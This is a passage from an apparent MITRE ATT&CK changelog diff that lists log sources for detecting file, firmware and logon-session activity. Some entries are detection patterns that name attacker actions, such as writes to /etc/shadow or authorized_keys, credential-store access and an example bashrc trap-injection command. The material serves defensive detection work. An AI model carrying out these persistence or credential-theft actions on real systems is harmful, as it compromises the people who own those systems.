exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:14.725000+00:00	2025-10-21 15:14:35.397000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0061] File Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}]
x_mitre_log_sources		[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron., /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to .plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow..plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write \| PATH=/home//.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/, /boot/efi/EFI/, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted\|new file with .encrypted extension\|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to ..locked\|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in /Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on .pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Modification of /boot/grub/ or /boot/efi/'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/, /etc/lightdm/)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc//mem or /proc//maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users//Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:11.410000+00:00	2025-10-21 15:14:35.239000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0004] Firmware Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}]
x_mitre_log_sources		[{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:52.606000+00:00	2025-10-21 15:14:38.020000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0067] Logon Session Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}]
x_mitre_log_sources		[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault., DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:26.544000+00:00	2025-10-21 15:14:35.022000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0088] Logon Session Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}]
x_mitre_log_sources		[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
